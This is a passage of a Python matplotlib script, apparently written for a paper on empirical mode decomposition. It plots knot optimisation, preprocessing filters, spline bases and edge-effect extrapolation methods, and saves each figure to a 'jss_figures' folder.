Linewidth=2, zorder=100) axs[2].set_yticks(ticks=[-2, 0, 2]) axs[2].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[2].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[0].plot(knots[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[0].legend(loc='lower left') axs[1].plot(knots[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[2].plot(knots[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') for i in range(3): for j in range(1, len(knots)): axs[i].plot(knots[j] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey') plt.savefig('jss_figures/knot_1.png') plt.show() # plot 1c - addition knot_demonstrate_time = np.linspace(0, 2 * np.pi, 1001) knot_demonstrate_time_series = np.sin(knot_demonstrate_time) + np.sin(5 * knot_demonstrate_time) emd = EMD(time=knot_demonstrate_time, time_series=knot_demonstrate_time_series) imfs, _, _, _, knots, _, _ = emd.empirical_mode_decomposition(edge_effect='anti-symmetric', optimise_knots=2, verbose=False) fig, axs = plt.subplots(3, 1) fig.subplots_adjust(hspace=0.6) plt.gcf().subplots_adjust(bottom=0.10) axs[0].set_title('Time Series and Dynamically Optimised Knots') axs[0].plot(knot_demonstrate_time, knot_demonstrate_time_series, Linewidth=2, zorder=100) axs[0].set_yticks(ticks=[-2, 0, 2]) axs[0].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[0].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[1].set_title('IMF 1 and Dynamically Knots') axs[1].plot(knot_demonstrate_time, imfs[1, :], Linewidth=2, zorder=100) axs[1].set_yticks(ticks=[-2, 0, 2]) axs[1].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[1].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[2].set_title('IMF 2 and Dynamically Knots') axs[2].plot(knot_demonstrate_time, imfs[2, :], Linewidth=2, zorder=100) axs[2].set_yticks(ticks=[-2, 0, 2]) axs[2].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[2].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[0].plot(knots[0][0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[0].legend(loc='lower left') axs[1].plot(knots[1][0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[2].plot(knots[2][0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') for i in range(3): for j in range(1, len(knots[i])): axs[i].plot(knots[i][j] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey') plt.savefig('jss_figures/knot_2.png') plt.show() # plot 1d - addition window = 81 fig, axs = plt.subplots(2, 1) fig.subplots_adjust(hspace=0.4) figure_size = plt.gcf().get_size_inches() factor = 0.8 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.gcf().subplots_adjust(bottom=0.10) axs[0].set_title('Preprocess Filtering Demonstration') axs[1].set_title('Zoomed Region') preprocess_time = pseudo_alg_time.copy() np.random.seed(1) random.seed(1) preprocess_time_series = pseudo_alg_time_series + np.random.normal(0, 0.1, len(preprocess_time)) for i in random.sample(range(1000), 500): preprocess_time_series[i] += np.random.normal(0, 1) preprocess = Preprocess(time=preprocess_time, time_series=preprocess_time_series) axs[0].plot(preprocess_time, preprocess_time_series, label='x(t)') axs[0].plot(pseudo_alg_time, pseudo_alg_time_series, '--', c='purple', label=textwrap.fill('Noiseless time series', 12)) axs[0].plot(preprocess_time, preprocess.mean_filter(window_width=window)[1], label=textwrap.fill('Mean filter', 12)) axs[0].plot(preprocess_time, preprocess.median_filter(window_width=window)[1], label=textwrap.fill('Median filter', 13)) axs[0].plot(preprocess_time, preprocess.winsorize(window_width=window, a=0.8)[1], label=textwrap.fill('Windsorize filter', 12)) axs[0].plot(preprocess_time, preprocess.winsorize_interpolate(window_width=window, a=0.8)[1], label=textwrap.fill('Windsorize interpolation filter', 14)) axs[0].plot(preprocess_time, preprocess.quantile_filter(window_width=window, q=0.90)[1], c='grey', label=textwrap.fill('Quantile window', 12)) axs[0].plot(preprocess_time, preprocess.quantile_filter(window_width=window, q=0.10)[1], c='grey') axs[0].plot(np.linspace(0.85 * np.pi, 1.15 * np.pi, 101), -3 * np.ones(101), '--', c='black', label=textwrap.fill('Zoomed region', 10)) axs[0].plot(np.linspace(0.85 * np.pi, 1.15 * np.pi, 101), 3 * np.ones(101), '--', c='black') axs[0].plot(0.85 * np.pi * np.ones(101), np.linspace(-3, 3, 101), '--', c='black') axs[0].plot(1.15 * np.pi * np.ones(101), np.linspace(-3, 3, 101), '--', c='black') axs[0].set_yticks(ticks=[-2, 0, 2]) axs[0].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[0].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[1].plot(preprocess_time, preprocess_time_series, label='x(t)') axs[1].plot(pseudo_alg_time, pseudo_alg_time_series, '--', c='purple', label=textwrap.fill('Noiseless time series', 12)) axs[1].plot(preprocess_time, preprocess.mean_filter(window_width=window)[1], label=textwrap.fill('Mean filter', 12)) axs[1].plot(preprocess_time, preprocess.median_filter(window_width=window)[1], label=textwrap.fill('Median filter', 13)) axs[1].plot(preprocess_time, preprocess.winsorize(window_width=window, a=0.8)[1], label=textwrap.fill('Windsorize filter', 12)) axs[1].plot(preprocess_time, preprocess.winsorize_interpolate(window_width=window, a=0.8)[1], label=textwrap.fill('Windsorize interpolation filter', 14)) axs[1].plot(preprocess_time, preprocess.quantile_filter(window_width=window, q=0.90)[1], c='grey', label=textwrap.fill('Quantile window', 12)) axs[1].plot(preprocess_time, preprocess.quantile_filter(window_width=window, q=0.10)[1], c='grey') axs[1].set_xlim(0.85 * np.pi, 1.15 * np.pi) axs[1].set_ylim(-3, 3) axs[1].set_yticks(ticks=[-2, 0, 2]) axs[1].set_xticks(ticks=[np.pi]) axs[1].set_xticklabels(labels=[r'$\pi$']) box_0 = axs[0].get_position() axs[0].set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.85, box_0.height]) axs[0].legend(loc='center left', bbox_to_anchor=(1, -0.15)) box_1 = axs[1].get_position() axs[1].set_position([box_1.x0 - 0.05, box_1.y0, box_1.width * 0.85, box_1.height]) plt.savefig('jss_figures/preprocess_filter.png') plt.show() # plot 1e - addition fig, axs = plt.subplots(2, 1) fig.subplots_adjust(hspace=0.4) figure_size = plt.gcf().get_size_inches() factor = 0.8 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.gcf().subplots_adjust(bottom=0.10) axs[0].set_title('Preprocess Smoothing Demonstration') axs[1].set_title('Zoomed Region') axs[0].plot(preprocess_time, preprocess_time_series, label='x(t)') axs[0].plot(pseudo_alg_time, pseudo_alg_time_series, '--', c='purple', label=textwrap.fill('Noiseless time series', 12)) axs[0].plot(preprocess_time, preprocess.hp()[1], label=textwrap.fill('Hodrick-Prescott smoothing', 12)) axs[0].plot(preprocess_time, preprocess.hw(order=51)[1], label=textwrap.fill('Henderson-Whittaker smoothing', 13)) downsampled_and_decimated = preprocess.downsample() axs[0].plot(downsampled_and_decimated[0], downsampled_and_decimated[1], label=textwrap.fill('Downsampled & decimated', 11)) downsampled = preprocess.downsample(decimate=False) axs[0].plot(downsampled[0], downsampled[1], label=textwrap.fill('Downsampled', 13)) axs[0].plot(np.linspace(0.85 * np.pi, 1.15 * np.pi, 101), -3 * np.ones(101), '--', c='black', label=textwrap.fill('Zoomed region', 10)) axs[0].plot(np.linspace(0.85 * np.pi, 1.15 * np.pi, 101), 3 * np.ones(101), '--', c='black') axs[0].plot(0.85 * np.pi * np.ones(101), np.linspace(-3, 3, 101), '--', c='black') axs[0].plot(1.15 * np.pi * np.ones(101), np.linspace(-3, 3, 101), '--', c='black') axs[0].set_yticks(ticks=[-2, 0, 2]) axs[0].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[0].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[1].plot(preprocess_time, preprocess_time_series, label='x(t)') axs[1].plot(pseudo_alg_time, pseudo_alg_time_series, '--', c='purple', label=textwrap.fill('Noiseless time series', 12)) axs[1].plot(preprocess_time, preprocess.hp()[1], label=textwrap.fill('Hodrick-Prescott smoothing', 12)) axs[1].plot(preprocess_time, preprocess.hw(order=51)[1], label=textwrap.fill('Henderson-Whittaker smoothing', 13)) axs[1].plot(downsampled_and_decimated[0], downsampled_and_decimated[1], label=textwrap.fill('Downsampled & decimated', 13)) axs[1].plot(downsampled[0], downsampled[1], label=textwrap.fill('Downsampled', 13)) axs[1].set_xlim(0.85 * np.pi, 1.15 * np.pi) axs[1].set_ylim(-3, 3) axs[1].set_yticks(ticks=[-2, 0, 2]) axs[1].set_xticks(ticks=[np.pi]) axs[1].set_xticklabels(labels=[r'$\pi$']) box_0 = axs[0].get_position() axs[0].set_position([box_0.x0 - 0.06, box_0.y0, box_0.width * 0.85, box_0.height]) axs[0].legend(loc='center left', bbox_to_anchor=(1, -0.15)) box_1 = axs[1].get_position() axs[1].set_position([box_1.x0 - 0.06, box_1.y0, box_1.width * 0.85, box_1.height]) plt.savefig('jss_figures/preprocess_smooth.png') plt.show() # plot 2 fig, axs = plt.subplots(1, 2, sharey=True) axs[0].set_title('Cubic B-Spline Bases') axs[0].plot(time, b_spline_basis[2, :].T, '--', label='Basis 1') axs[0].plot(time, b_spline_basis[3, :].T, '--', label='Basis 2') axs[0].plot(time, b_spline_basis[4, :].T, '--', label='Basis 3') axs[0].plot(time, b_spline_basis[5, :].T, '--', label='Basis 4') axs[0].legend(loc='upper left') axs[0].plot(5 * np.ones(100), np.linspace(-0.2, 0.8, 100), 'k-') axs[0].plot(6 * np.ones(100), np.linspace(-0.2, 0.8, 100), 'k-') axs[0].set_xticks([5, 6]) axs[0].set_xticklabels([r'$ \tau_k $', r'$ \tau_{k+1} $']) axs[0].set_xlim(4.5, 6.5) axs[1].set_title('Cubic Hermite Spline Bases') axs[1].plot(time, chsi_basis[10, :].T, '--') axs[1].plot(time, chsi_basis[11, :].T, '--') axs[1].plot(time, chsi_basis[12, :].T, '--') axs[1].plot(time, chsi_basis[13, :].T, '--') axs[1].plot(5 * np.ones(100), np.linspace(-0.2, 1.2, 100), 'k-') axs[1].plot(6 * np.ones(100), np.linspace(-0.2, 1.2, 100), 'k-') axs[1].set_xticks([5, 6]) axs[1].set_xticklabels([r'$ \tau_k $', r'$ \tau_{k+1} $']) axs[1].set_xlim(4.5, 6.5) plt.savefig('jss_figures/comparing_bases.png') plt.show() # plot 3 a = 0.25 width = 0.2 time = np.linspace(0, (5 - a) * np.pi, 1001) time_series = np.cos(time) + np.cos(5 * time) utils = emd_utils.Utility(time=time, time_series=time_series) max_bool = utils.max_bool_func_1st_order_fd() maxima_x = time[max_bool] maxima_y = time_series[max_bool] min_bool = utils.min_bool_func_1st_order_fd() minima_x = time[min_bool] minima_y = time_series[min_bool] max_dash_time = np.linspace(maxima_x[-1] - width, maxima_x[-1] + width, 101) max_dash = maxima_y[-1] * np.ones_like(max_dash_time) min_dash_time = np.linspace(minima_x[-1] - width, minima_x[-1] + width, 101) min_dash = minima_y[-1] * np.ones_like(min_dash_time) dash_1_time = np.linspace(maxima_x[-1], minima_x[-1], 101) dash_1 = np.linspace(maxima_y[-1], minima_y[-1], 101) max_discard = maxima_y[-1] max_discard_time = minima_x[-1] - maxima_x[-1] + minima_x[-1] max_discard_dash_time = np.linspace(max_discard_time - width, max_discard_time + width, 101) max_discard_dash = max_discard * np.ones_like(max_discard_dash_time) dash_2_time = np.linspace(minima_x[-1], max_discard_time, 101) dash_2 = np.linspace(minima_y[-1], max_discard, 101) end_point_time = time[-1] end_point = time_series[-1] time_reflect = np.linspace((5 - a) * np.pi, (5 + a) * np.pi, 101) time_series_reflect = np.flip(np.cos(np.linspace((5 - 2.6 * a) * np.pi, (5 - a) * np.pi, 101)) + np.cos(5 * np.linspace((5 - 2.6 * a) * np.pi, (5 - a) * np.pi, 101))) time_series_anti_reflect = time_series_reflect[0] - time_series_reflect utils = emd_utils.Utility(time=time, time_series=time_series_anti_reflect) anti_max_bool = utils.max_bool_func_1st_order_fd() anti_max_point_time = time_reflect[anti_max_bool] anti_max_point = time_series_anti_reflect[anti_max_bool] utils = emd_utils.Utility(time=time, time_series=time_series_reflect) no_anchor_max_time = time_reflect[utils.max_bool_func_1st_order_fd()] no_anchor_max = time_series_reflect[utils.max_bool_func_1st_order_fd()] point_1 = 5.4 length_distance = np.linspace(maxima_y[-1], minima_y[-1], 101) length_distance_time = point_1 * np.pi * np.ones_like(length_distance) length_time = np.linspace(point_1 * np.pi - width, point_1 * np.pi + width, 101) length_top = maxima_y[-1] * np.ones_like(length_time) length_bottom = minima_y[-1] * np.ones_like(length_time) point_2 = 5.2 length_distance_2 = np.linspace(time_series[-1], minima_y[-1], 101) length_distance_time_2 = point_2 * np.pi * np.ones_like(length_distance_2) length_time_2 = np.linspace(point_2 * np.pi - width, point_2 * np.pi + width, 101) length_top_2 = time_series[-1] * np.ones_like(length_time_2) length_bottom_2 = minima_y[-1] * np.ones_like(length_time_2) symmetry_axis_1_time = minima_x[-1] * np.ones(101) symmetry_axis_2_time = time[-1] * np.ones(101) symmetry_axis = np.linspace(-2, 2, 101) end_time = np.linspace(time[-1] - width, time[-1] + width, 101) end_signal = time_series[-1] * np.ones_like(end_time) anti_symmetric_time = np.linspace(time[-1] - 0.5, time[-1] + 0.5, 101) anti_symmetric_signal = time_series[-1] * np.ones_like(anti_symmetric_time) ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.plot(time, time_series, LineWidth=2, label='Signal') plt.title('Symmetry Edge Effects Example') plt.plot(time_reflect, time_series_reflect, 'g--', LineWidth=2, label=textwrap.fill('Symmetric signal', 10)) plt.plot(time_reflect[:51], time_series_anti_reflect[:51], '--', c='purple', LineWidth=2, label=textwrap.fill('Anti-symmetric signal', 10)) plt.plot(max_dash_time, max_dash, 'k-') plt.plot(min_dash_time, min_dash, 'k-') plt.plot(dash_1_time, dash_1, 'k--') plt.plot(dash_2_time, dash_2, 'k--') plt.plot(length_distance_time, length_distance, 'k--') plt.plot(length_distance_time_2, length_distance_2, 'k--') plt.plot(length_time, length_top, 'k-') plt.plot(length_time, length_bottom, 'k-') plt.plot(length_time_2, length_top_2, 'k-') plt.plot(length_time_2, length_bottom_2, 'k-') plt.plot(end_time, end_signal, 'k-') plt.plot(symmetry_axis_1_time, symmetry_axis, 'r--', zorder=1) plt.plot(anti_symmetric_time, anti_symmetric_signal, 'r--', zorder=1) plt.plot(symmetry_axis_2_time, symmetry_axis, 'r--', label=textwrap.fill('Axes of symmetry', 10), zorder=1) plt.text(5.1 * np.pi, -0.7, r'$\beta$L') plt.text(5.34 * np.pi, -0.05, 'L') plt.scatter(maxima_x, maxima_y, c='r', zorder=4, label='Maxima') plt.scatter(minima_x, minima_y, c='b', zorder=4, label='Minima') plt.scatter(max_discard_time, max_discard, c='purple', zorder=4, label=textwrap.fill('Symmetric Discard maxima', 10)) plt.scatter(end_point_time, end_point, c='orange', zorder=4, label=textwrap.fill('Symmetric Anchor maxima', 10)) plt.scatter(anti_max_point_time, anti_max_point, c='green', zorder=4, label=textwrap.fill('Anti-Symmetric maxima', 10)) plt.scatter(no_anchor_max_time, no_anchor_max, c='gray', zorder=4, label=textwrap.fill('Symmetric maxima', 10)) plt.xlim(3.9 * np.pi, 5.5 * np.pi) plt.xticks((4 * np.pi, 5 * np.pi), (r'4$\pi$', r'5$\pi$')) plt.yticks((-2, -1, 0, 1, 2), ('-2', '-1', '0', '1', '2')) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.85, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/edge_effects_symmetry_anti.png') plt.show() # plot 4 a = 0.21 width = 0.2 time = np.linspace(0, (5 - a) * np.pi, 1001) time_series = np.cos(time) + np.cos(5 * time) utils = emd_utils.Utility(time=time, time_series=time_series) max_bool = utils.max_bool_func_1st_order_fd() maxima_x = time[max_bool] maxima_y = time_series[max_bool] min_bool = utils.min_bool_func_1st_order_fd() minima_x = time[min_bool] minima_y = time_series[min_bool] max_dash_1 = np.linspace(maxima_y[-1] - width, maxima_y[-1] + width, 101) max_dash_2 = np.linspace(maxima_y[-2] - width, maxima_y[-2] + width, 101) max_dash_time_1 = maxima_x[-1] * np.ones_like(max_dash_1) max_dash_time_2 = maxima_x[-2] * np.ones_like(max_dash_1) min_dash_1 = np.linspace(minima_y[-1] - width, minima_y[-1] + width, 101) min_dash_2 = np.linspace(minima_y[-2] - width, minima_y[-2] + width, 101) min_dash_time_1 = minima_x[-1] * np.ones_like(min_dash_1) min_dash_time_2 = minima_x[-2] * np.ones_like(min_dash_1) dash_1_time = np.linspace(maxima_x[-1], minima_x[-1], 101) dash_1 = np.linspace(maxima_y[-1], minima_y[-1], 101) dash_2_time = np.linspace(maxima_x[-1], minima_x[-2], 101) dash_2 = np.linspace(maxima_y[-1], minima_y[-2], 101) s1 = (minima_y[-2] - maxima_y[-1]) / (minima_x[-2] - maxima_x[-1]) slope_based_maximum_time = maxima_x[-1] + (maxima_x[-1] - maxima_x[-2]) slope_based_maximum = minima_y[-1] + (slope_based_maximum_time - minima_x[-1]) * s1 max_dash_time_3 = slope_based_maximum_time * np.ones_like(max_dash_1) max_dash_3 = np.linspace(slope_based_maximum - width, slope_based_maximum + width, 101) dash_3_time = np.linspace(minima_x[-1], slope_based_maximum_time, 101) dash_3 = np.linspace(minima_y[-1], slope_based_maximum, 101) s2 = (minima_y[-1] - maxima_y[-1]) / (minima_x[-1] - maxima_x[-1]) slope_based_minimum_time = minima_x[-1] + (minima_x[-1] - minima_x[-2]) slope_based_minimum = slope_based_maximum - (slope_based_maximum_time - slope_based_minimum_time) * s2 min_dash_time_3 = slope_based_minimum_time * np.ones_like(min_dash_1) min_dash_3 = np.linspace(slope_based_minimum - width, slope_based_minimum + width, 101) dash_4_time = np.linspace(slope_based_maximum_time, slope_based_minimum_time) dash_4 = np.linspace(slope_based_maximum, slope_based_minimum) maxima_dash = np.linspace(2.5 - width, 2.5 + width, 101) maxima_dash_time_1 = maxima_x[-2] * np.ones_like(maxima_dash) maxima_dash_time_2 = maxima_x[-1] * np.ones_like(maxima_dash) maxima_dash_time_3 = slope_based_maximum_time * np.ones_like(maxima_dash) maxima_line_dash_time = np.linspace(maxima_x[-2], slope_based_maximum_time, 101) maxima_line_dash = 2.5 * np.ones_like(maxima_line_dash_time) minima_dash = np.linspace(-3.4 - width, -3.4 + width, 101) minima_dash_time_1 = minima_x[-2] * np.ones_like(minima_dash) minima_dash_time_2 = minima_x[-1] * np.ones_like(minima_dash) minima_dash_time_3 = slope_based_minimum_time * np.ones_like(minima_dash) minima_line_dash_time = np.linspace(minima_x[-2], slope_based_minimum_time, 101) minima_line_dash = -3.4 * np.ones_like(minima_line_dash_time) # slightly edit signal to make difference between slope-based method and improved slope-based method more clear time_series[time >= minima_x[-1]] = 1.5 * (time_series[time >= minima_x[-1]] - time_series[time == minima_x[-1]]) + \ time_series[time == minima_x[-1]] improved_slope_based_maximum_time = time[-1] improved_slope_based_maximum = time_series[-1] improved_slope_based_minimum_time = slope_based_minimum_time improved_slope_based_minimum = improved_slope_based_maximum + s2 * (improved_slope_based_minimum_time - improved_slope_based_maximum_time) min_dash_4 = np.linspace(improved_slope_based_minimum - width, improved_slope_based_minimum + width, 101) min_dash_time_4 = improved_slope_based_minimum_time * np.ones_like(min_dash_4) dash_final_time = np.linspace(improved_slope_based_maximum_time, improved_slope_based_minimum_time, 101) dash_final = np.linspace(improved_slope_based_maximum, improved_slope_based_minimum, 101) ax = plt.subplot(111) figure_size = plt.gcf().get_size_inches() factor = 0.9 plt.gcf().set_size_inches((figure_size[0], factor * figure_size[1])) plt.gcf().subplots_adjust(bottom=0.10) plt.plot(time, time_series, LineWidth=2, label='Signal') plt.title('Slope-Based Edge Effects Example') plt.plot(max_dash_time_1, max_dash_1, 'k-') plt.plot(max_dash_time_2, max_dash_2, 'k-') plt.plot(max_dash_time_3, max_dash_3, 'k-') plt.plot(min_dash_time_1, min_dash_1, 'k-') plt.plot(min_dash_time_2, min_dash_2, 'k-') plt.plot(min_dash_time_3, min_dash_3, 'k-') plt.plot(min_dash_time_4, min_dash_4, 'k-') plt.plot(maxima_dash_time_1, maxima_dash, 'k-') plt.plot(maxima_dash_time_2, maxima_dash, 'k-') plt.plot(maxima_dash_time_3, maxima_dash, 'k-') plt.plot(minima_dash_time_1, minima_dash, 'k-') plt.plot(minima_dash_time_2, minima_dash, 'k-') plt.plot(minima_dash_time_3, minima_dash, 'k-') plt.text(4.34 * np.pi, -3.2, r'$\Delta{t^{min}_{m}}$') plt.text(4.74 * np.pi, -3.2, r'$\Delta{t^{min}_{m}}$') plt.text(4.12 * np.pi, 2, r'$\Delta{t^{max}_{M}}$') plt.text(4.50 * np.pi, 2, r'$\Delta{t^{max}_{M}}$') plt.text(4.30 * np.pi, 0.35, r'$s_1$') plt.text(4.43 * np.pi, -0.20, r'$s_2$') plt.text(4.30 * np.pi + (minima_x[-1] - minima_x[-2]), 0.35 + (minima_y[-1] - minima_y[-2]), r'$s_1$') plt.text(4.43 * np.pi + (slope_based_minimum_time - minima_x[-1]), -0.20 + (slope_based_minimum - minima_y[-1]), r'$s_2$') plt.text(4.50 * np.pi + (slope_based_minimum_time - minima_x[-1]), 1.20 + (slope_based_minimum - minima_y[-1]), r'$s_2$') plt.plot(minima_line_dash_time, minima_line_dash, 'k--') plt.plot(maxima_line_dash_time, maxima_line_dash, 'k--') plt.plot(dash_1_time, dash_1, 'k--') plt.plot(dash_2_time, dash_2, 'k--') plt.plot(dash_3_time, dash_3, 'k--') plt.plot(dash_4_time, dash_4, 'k--') plt.plot(dash_final_time, dash_final, 'k--') plt.scatter(maxima_x, maxima_y, c='r', zorder=4, label='Maxima') plt.scatter(minima_x, minima_y, c='b', zorder=4, label='Minima') plt.scatter(slope_based_maximum_time, slope_based_maximum, c='orange', zorder=4, label=textwrap.fill('Slope-based maximum', 11)) plt.scatter(slope_based_minimum_time, slope_based_minimum, c='purple', zorder=4, label=textwrap.fill('Slope-based minimum', 11)) plt.scatter(improved_slope_based_maximum_time, improved_slope_based_maximum, c='deeppink', zorder=4, label=textwrap.fill('Improved slope-based maximum', 11)) plt.scatter(improved_slope_based_minimum_time, improved_slope_based_minimum, c='dodgerblue', zorder=4, label=textwrap.fill('Improved slope-based minimum', 11)) plt.xlim(3.9 * np.pi, 5.5 * np.pi) plt.xticks((4 * np.pi, 5 * np.pi), (r'4$\pi$', r'5$\pi$')) plt.yticks((-3, -2, -1, 0, 1, 2), ('-3', '-2', '-1', '0', '1', '2')) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.85, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/edge_effects_slope_based.png') plt.show() # plot 5 a = 0.25 width = 0.2 time = np.linspace(0, (5 - a) * np.pi, 1001) time_series = np.cos(time) + np.cos(5 * time) utils = emd_utils.Utility(time=time, time_series=time_series) max_bool = utils.max_bool_func_1st_order_fd() maxima_x = time[max_bool] maxima_y = time_series[max_bool] min_bool = utils.min_bool_func_1st_order_fd() minima_x = time[min_bool] minima_y = time_series[min_bool] A2 = np.abs(maxima_y[-2] - minima_y[-2]) / 2 A1 = np.abs(maxima_y[-1] - minima_y[-1]) / 2 P2 = 2 * np.abs(maxima_x[-2] - minima_x[-2]) P1 = 2 * np.abs(maxima_x[-1] - minima_x[-1]) Huang_time = (P1 / P2) * (time[time >= maxima_x[-2]] - time[time == maxima_x[-2]]) + maxima_x[-1] Huang_wave = (A1 / A2) * (time_series[time >= maxima_x[-2]] - time_series[time == maxima_x[-2]]) + maxima_y[-1] Coughlin_time = Huang_time Coughlin_wave = A1 * np.cos(2 * np.pi * (1 / P1) * (Coughlin_time - Coughlin_time[0])) Average_max_time = maxima_x[-1] + (maxima_x[-1] - maxima_x[-2]) Average_max = (maxima_y[-2] + maxima_y[-1]) / 2 Average_min_time = minima_x[-1] + (minima_x[-1] - minima_x[-2]) Average_min = (minima_y[-2] + minima_y[-1]) / 2 utils_Huang = emd_utils.Utility(time=time, time_series=Huang_wave) Huang_max_bool = utils_Huang.max_bool_func_1st_order_fd() Huang_min_bool = utils_Huang.min_bool_func_1st_order_fd() utils_Coughlin = emd_utils.Utility(time=time, time_series=Coughlin_wave) Coughlin_max_bool = utils_Coughlin.max_bool_func_1st_order_fd() Coughlin_min_bool = utils_Coughlin.min_bool_func_1st_order_fd() Huang_max_time = Huang_time[Huang_max_bool] Huang_max = Huang_wave[Huang_max_bool] Huang_min_time = Huang_time[Huang_min_bool] Huang_min = Huang_wave[Huang_min_bool] Coughlin_max_time = Coughlin_time[Coughlin_max_bool] Coughlin_max = Coughlin_wave[Coughlin_max_bool] Coughlin_min_time = Coughlin_time[Coughlin_min_bool] Coughlin_min = Coughlin_wave[Coughlin_min_bool] max_2_x_time = np.linspace(maxima_x[-2] - width, maxima_x[-2] + width, 101) max_2_x_time_side = np.linspace(5.3 * np.pi - width, 5.3 * np.pi + width, 101) max_2_x = maxima_y[-2] * np.ones_like(max_2_x_time) min_2_x_time = np.linspace(minima_x[-2] - width, minima_x[-2] + width, 101) min_2_x_time_side = np.linspace(5.3 * np.pi - width, 5.3 * np.pi + width, 101) min_2_x = minima_y[-2] * np.ones_like(min_2_x_time) dash_max_min_2_x = np.linspace(minima_y[-2], maxima_y[-2], 101) dash_max_min_2_x_time = 5.3 * np.pi * np.ones_like(dash_max_min_2_x) max_2_y = np.linspace(maxima_y[-2] - width, maxima_y[-2] + width, 101) max_2_y_side = np.linspace(-1.8 - width, -1.8 + width, 101) max_2_y_time = maxima_x[-2] * np.ones_like(max_2_y) min_2_y = np.linspace(minima_y[-2] - width, minima_y[-2] + width, 101) min_2_y_side = np.linspace(-1.8 - width, -1.8 + width, 101) min_2_y_time = minima_x[-2] * np.ones_like(min_2_y) dash_max_min_2_y_time = np.linspace(minima_x[-2], maxima_x[-2], 101) dash_max_min_2_y = -1.8 * np.ones_like(dash_max_min_2_y_time) max_1_x_time = np.linspace(maxima_x[-1] - width, maxima_x[-1] + width, 101) max_1_x_time_side = np.linspace(5.4 * np.pi - width, 5.4 * np.pi + width, 101) max_1_x = maxima_y[-1] * np.ones_like(max_1_x_time) min_1_x_time = np.linspace(minima_x[-1] - width, minima_x[-1] + width, 101) min_1_x_time_side = np.linspace(5.4 * np.pi - width, 5.4 * np.pi + width, 101) min_1_x = minima_y[-1] * np.ones_like(min_1_x_time) dash_max_min_1_x = np.linspace(minima_y[-1], maxima_y[-1], 101) dash_max_min_1_x_time = 5.4 * np.pi * np.ones_like(dash_max_min_1_x) max_1_y = np.linspace(maxima_y[-1] - width, maxima_y[-1] + width, 101) max_1_y_side = np.linspace(-2.1 - width, -2.1 + width, 101) max_1_y_time = maxima_x[-1] * np.ones_like(max_1_y) min_1_y = np.linspace(minima_y[-1] - width, minima_y[-1] + width, 101) min_1_y_side = np.linspace(-2.1 - width, -2.1 + width, 101) min_1_y_time = minima_x[-1] * np.ones_like(min_1_y) dash_max_min_1_y_time = np.linspace(minima_x[-1], maxima_x[-1], 101) dash_max_min_1_y = -2.1 * np.ones_like(dash_max_min_1_y_time) ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.title('Characteristic Wave Effects Example') plt.plot(time, time_series, LineWidth=2, label='Signal') plt.scatter(Huang_max_time, Huang_max, c='magenta', zorder=4, label=textwrap.fill('Huang maximum', 10)) plt.scatter(Huang_min_time, Huang_min, c='lime', zorder=4, label=textwrap.fill('Huang minimum', 10)) plt.scatter(Coughlin_max_time, Coughlin_max, c='darkorange', zorder=4, label=textwrap.fill('Coughlin maximum', 14)) plt.scatter(Coughlin_min_time, Coughlin_min, c='dodgerblue', zorder=4, label=textwrap.fill('Coughlin minimum', 14)) plt.scatter(Average_max_time, Average_max, c='orangered', zorder=4, label=textwrap.fill('Average maximum', 14)) plt.scatter(Average_min_time, Average_min, c='cyan', zorder=4, label=textwrap.fill('Average minimum', 14)) plt.scatter(maxima_x, maxima_y, c='r', zorder=4, label='Maxima') plt.scatter(minima_x, minima_y, c='b', zorder=4, label='Minima') plt.plot(Huang_time, Huang_wave, '--', c='darkviolet', label=textwrap.fill('Huang Characteristic Wave', 14)) plt.plot(Coughlin_time, Coughlin_wave, '--', c='darkgreen', label=textwrap.fill('Coughlin Characteristic Wave', 14)) plt.plot(max_2_x_time, max_2_x, 'k-') plt.plot(max_2_x_time_side, max_2_x, 'k-') plt.plot(min_2_x_time, min_2_x, 'k-') plt.plot(min_2_x_time_side, min_2_x, 'k-') plt.plot(dash_max_min_2_x_time, dash_max_min_2_x, 'k--') plt.text(5.16 * np.pi, 0.85, r'$2a_2$') plt.plot(max_2_y_time, max_2_y, 'k-') plt.plot(max_2_y_time, max_2_y_side, 'k-') plt.plot(min_2_y_time, min_2_y, 'k-') plt.plot(min_2_y_time, min_2_y_side, 'k-') plt.plot(dash_max_min_2_y_time, dash_max_min_2_y, 'k--') plt.text(4.08 * np.pi, -2.2, r'$\frac{p_2}{2}$') plt.plot(max_1_x_time, max_1_x, 'k-') plt.plot(max_1_x_time_side, max_1_x, 'k-') plt.plot(min_1_x_time, min_1_x, 'k-') plt.plot(min_1_x_time_side, min_1_x, 'k-') plt.plot(dash_max_min_1_x_time, dash_max_min_1_x, 'k--') plt.text(5.42 * np.pi, -0.1, r'$2a_1$') plt.plot(max_1_y_time, 